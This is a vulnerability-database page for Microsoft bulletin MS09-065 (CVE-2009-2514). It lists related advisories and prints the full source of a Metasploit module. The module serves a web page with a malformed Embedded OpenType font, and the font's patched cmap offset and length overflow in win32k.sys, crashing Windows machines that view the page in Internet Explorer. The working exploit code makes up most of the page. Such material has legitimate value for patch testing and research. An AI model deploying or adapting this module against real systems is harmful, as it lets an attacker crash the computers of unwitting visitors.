Microsoft Windows Win32k内核态驱动本地权限提升（MS09-065）

🗓️ 11 Nov 2009 00:00:00Reported by RootType

Microsoft Win32k kernel driver local privilege escalation (MS09-065

Reporter	Title	Published	Views	Family All 32
0day.today	Microsoft Windows 2000-2008 Embedded OpenType Font Engine Remote	12 Nov 200900:00	–	zdt
Circl	CVE-2009-2514	12 Nov 200900:00	–	circl
Check Point Advisories	Microsoft Windows Win32k EOT Parsing Integer Overflow (MS09-065; CVE-2009-2514)	3 Feb 201000:00	–	checkpoint_advisories
Check Point Advisories	Microsoft Embedded OpenType Font Parser Directory Entry Code Execution - Ver2 (CVE-2009-2514)	3 Mar 201400:00	–	checkpoint_advisories
Check Point Advisories	Workaround for Microsoft Windows Kernel-Mode Drivers Win32k EOT Parsing Remote Code Execution Vulnerability (MS09-065)	10 Nov 200900:00	–	checkpoint_advisories
CVE	CVE-2009-1127	11 Nov 200919:00	–	cve
CVE	CVE-2009-2513	11 Nov 200919:00	–	cve
CVE	CVE-2009-2514	11 Nov 200919:00	–	cve
Cvelist	CVE-2009-1127	11 Nov 200919:00	–	cvelist
Cvelist	CVE-2009-2513	11 Nov 200919:00	–	cvelist


                                                ##
# $Id: ms09_065_eot_integer.rb 7470 2009-11-11 23:48:53Z hdm $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
 
require 'msf/core'
 
 
class Metasploit3 < Msf::Auxiliary
 
    include Msf::Exploit::Remote::HttpServer::HTML
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Microsoft Windows EOT Font Table Directory Integer Overflow',
            'Description'    => %q{
                This module exploits an integer overflow flaw in the Microsoft Windows Embedded
            OpenType font parsing code located in win32k.sys. Since the kernel itself parses
            embedded web fonts, it is possible to trigger a BSoD from a normal web page when
            viewed with Internet Explorer.
            },
            'License'        => MSF_LICENSE,
            'Author'         => 'hdm',
            'Version'        => '$Revision: 7470 $',
            'References'     =>
                [
                    [ 'CVE', '2009-2514' ],
                    [ 'MSB', 'MS09-065' ],
                    [ 'OSVDB', '59869']
                ],
            'DisclosureDate' => 'Nov 10 2009'
        ))
        register_options([
            OptPath.new('EOTFILE', [ true, "The EOT template to use to generate the trigger", File.join(Msf::Config.install_root, "data", "exploits", "pricedown.eot")]),
        ], self.class)
 
    end
 
    def run
        exploit
    end
 
    def on_request_uri(cli, request)
        @tag ||= Rex::Text.rand_text_alpha(8)
        @eot ||= ::File.read(datastore['EOTFILE'], ::File.size(datastore['EOTFILE']))
 
        if(request.uri =~ /#{@tag}$/)
            content = @eot.dup
 
            # Only this table entry seems to trigger the bug
            cidx = content.index('cmap')
 
            # Use an offset and a length that overflow when combined
            coff = 0xb0000000
            clen = (0xfffffffe - coff + 0xcc)
 
            # Patch in the modified offset and length values
            content[cidx + 8, 8] = [ coff, clen ].pack("N*")
 
            # Send the font on its merry way
            print_status("Sending embedded font to #{cli.peerhost}:#{cli.peerport}...")
            send_response_html(cli, content, { 'Content-Type' => 'application/octet-stream' })
        else
            var_title = Rex::Text.rand_text_alpha(6 + rand(32))
            var_body = Rex::Text.rand_text_alpha(64 + rand(32))
            var_font = Rex::Text.rand_text_alpha(2 + rand(6))
            var_face = Rex::Text.rand_text_alpha(2 + rand(32))
 
            content = %Q|<html><head><title>#{var_title}</title><style type="text/css">
@font-face{ font-family: '#{var_face}';  src: url('#{get_resource}/#{var_font}#{@tag}'); }
body {
    font-family: '#{var_face}';
}
</style></head><body> #{var_body} </body></html>|
 
            print_status("Sending HTML page with embedded font to #{cli.peerhost}:#{cli.peerport}...")
            send_response_html(cli, content, { 'Content-Type' => 'text/html' })
        end
    end
end

11 Nov 2009 00:00Current

6.9Medium risk

Vulners AI Score6.9

EPSS0.47489